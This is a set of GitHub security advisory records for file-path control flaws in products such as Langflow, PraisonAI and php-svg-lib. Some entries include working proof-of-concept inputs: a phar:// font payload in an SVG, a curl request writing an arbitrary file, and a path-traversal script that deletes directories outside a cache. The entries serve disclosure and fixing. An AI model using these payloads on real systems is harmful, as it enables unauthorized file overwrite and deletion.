CWE-73

{
  "affected": [],
  "aliases": [
    "CVE-2022-45213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-01T08:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "perfSONAR before 4.4.6 inadvertently supports the parse option for a file:// URL.",
  "id": "GHSA-cr28-68mj-mpg4",
  "modified": "2025-04-10T21:30:34Z",
  "published": "2023-01-01T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45213"
    },
    {
      "type": "WEB",
      "url": "https://www.perfsonar.net/releasenotes-2022-11-09-4-4-6.html"
    },
    {
      "type": "WEB",
      "url": "https://zxsecurity.co.nz/research/advisories/perfsonar-multiple"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-2155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-04T01:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Best POS Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file index.php. The manipulation of the argument page leads to file inclusion. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-255587.",
  "id": "GHSA-cv92-qmv8-p8x9",
  "modified": "2024-03-04T03:30:25Z",
  "published": "2024-03-04T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wkeyi0x1/vul-report/blob/main/Best%20pos%20management%20system%20in%20php/report.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.255587"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.255587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-41088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T18:17:20Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-cx4r-3gvx-xq57",
  "modified": "2026-05-12T18:30:46Z",
  "published": "2026-05-12T18:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41088"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-55316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:07Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in Azure Arc allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-cxfc-2cj3-gw3w",
  "modified": "2025-09-09T18:31:23Z",
  "published": "2025-09-09T18:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55316"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-0246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-11T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The settings of the iQ Block Country WordPress plugin before 1.2.13 can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to \"Zip Slip\" vulnerability.",
  "id": "GHSA-cxp6-jhjh-h4hg",
  "modified": "2022-04-16T00:01:12Z",
  "published": "2022-04-12T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0246"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-4332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Plus Addons for Elementor plugin for WordPress is vulnerable to arbitrary file reads in versions up to, and including 4.1.9 (pro) and 2.0.6 (free). The plugin has a feature to add an \"Info Box\" to an Elementor created page. This Info Box can include an SVG image for the box. Unfortunately, the plugin used file_get_contents with no verification that the file being supplied was an SVG file, so any user with access to the Elementor page builder, such as contributors, could read arbitrary files on the WordPress installation.",
  "id": "GHSA-f2r6-p94g-v5c4",
  "modified": "2026-04-08T21:31:48Z",
  "published": "2023-03-07T15:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4332"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2523506%40the-plus-addons-for-elementor-page-builder\u0026new=2523506%40the-plus-addons-for-elementor-page-builder\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa698e7e-b1c7-4ead-aa2e-7fbfc9dfac80"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa698e7e-b1c7-4ead-aa2e-7fbfc9dfac80?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phenx/php-svg-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-21T18:04:16Z",
    "nvd_published_at": "2024-02-21T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nphp-svg-lib fails to validate that font-family doesn\u0027t contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn\u0027t validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n                if (\n                    \\array_key_exists(\"font-family\", $styles)\n                    \u0026\u0026 (\n                        \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n                        || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n                    )\n                ) {\n                    unset($style[\"font-family\"]);\n                }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib",
  "id": "GHSA-f3qr-qr4x-j273",
  "modified": "2024-02-21T19:33:13Z",
  "published": "2024-02-21T18:04:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/commit/8ffcc41bbde39f09f94b9760768086f12bbdce42"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/php-svg-lib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "php-svg-lib lacks path validation on font through SVG inline styles "
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-5823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-29T13:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A file overwrite vulnerability exists in gaizhenbiao/chuanhuchatgpt versions \u003c= 20240410. This vulnerability allows an attacker to gain unauthorized access to overwrite critical configuration files within the system. Exploiting this vulnerability can lead to unauthorized changes in system behavior or security settings. Additionally, tampering with these configuration files can result in a denial of service (DoS) condition, disrupting normal system operation.",
  "id": "GHSA-f3xm-22x6-vg3g",
  "modified": "2024-10-29T15:32:05Z",
  "published": "2024-10-29T15:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/720c23d755a4a955dcb0a54e8c200a2247a27f8b"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ca361701-7d68-4df6-8da0-caad4b85b9ae"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-19T22:53:13Z",
    "nvd_published_at": "2025-12-19T18:15:51Z",
    "severity": "HIGH"
  },
  "details": "**Vulnerability Overview**\n\nIf an arbitrary path is specified in the request body\u0027s `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.\n\n**Vulnerable Code**\n\n1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168\n    \n    ```python\n    @router.post(\"/\", response_model=FlowRead, status_code=201)\n    async def create_flow(\n        *,\n        session: DbSession,\n        flow: FlowCreate,\n        current_user: CurrentActiveUser,\n    ):\n        try:\n            db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)\n            await session.commit()\n            await session.refresh(db_flow)\n    \n            await _save_flow_to_fs(db_flow)\n    \n        except Exception as e:\n    ```\n    \n2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38\n    \n    ```python\n    CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]\n    CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]\n    DbSession = Annotated[AsyncSession, Depends(get_session)]\n    ```\n    \n3. The client can directly specify the save path, including `fs_path`.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70\n    \n    ```python\n    ):\n        try:\n            await _verify_fs_path(flow.fs_path)\n    \n            \"\"\"Create a new flow.\"\"\"\n    ```\n    \n4. It attempts to create the file (or *the* file, in the case of a path without a parent) directly without path validation.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49\n    \n    ```python\n    async def _verify_fs_path(path: str | None) -\u003e None:\n        if path:\n            path_ = Path(path)\n            if not await path_.exists():\n                await path_.touch()\n    ```\n    \n5. Serializes the Flow object to JSON and writes it to the specified path in \"w\" mode (overwriting).\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58\n    \n    ```python\n    async def _save_flow_to_fs(flow: Flow) -\u003e None:\n        if flow.fs_path:\n            async with async_open(flow.fs_path, \"w\") as f:\n                try:\n                    await f.write(flow.model_dump_json())\n                except OSError:\n                    await logger.aexception(\"Failed to write flow %s to path %s\", flow.name, flow.fs_path)\n    ```\n    \n\n**PoC Description**\n\nWhen an authenticated user passes an arbitrary path in `fs_path`, the Flow JSON is written to that path. Since `/tmp` is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.\n\n**PoC**\n\n- **Before Exploit**\n   \n\n    \u003cimg width=\"1918\" height=\"658\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d\" /\u003e\n    \n- **After Exploit**\n    \n    ```bash\n    curl -sS -X POST \"http://localhost:7860/api/v1/flows/\" \\\n      -H \"Content-Type: application/json\" \\\n      -H \"x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc\" \\\n      -d \u0027{\"name\":\"poc-etc\",\"data\":{\"nodes\":[],\"edges\":[]},\"fs_path\":\"/tmp/POC.txt\"}\u0027\n    ```\n    \n    \u003cimg width=\"1918\" height=\"742\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174\" /\u003e\n    \n\n### Impact\n\n- **Authenticated Arbitrary File Write (within server permission scope):** Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.\n- **Both absolute and relative paths are allowed, enabling base directory traversal.** The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.\n- **The file content is limited to Flow JSON,** but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.\n- **In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.**",
  "id": "GHSA-f43r-cc68-gpx4",
  "modified": "2026-06-06T00:36:53Z",
  "published": "2025-12-19T22:53:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68478"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2025-125.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "External Control of File Name or Path in Langflow"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
  "id": "GHSA-f44v-7qgw-9gh9",
  "modified": "2026-06-18T14:24:55Z",
  "published": "2026-06-18T14:24:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}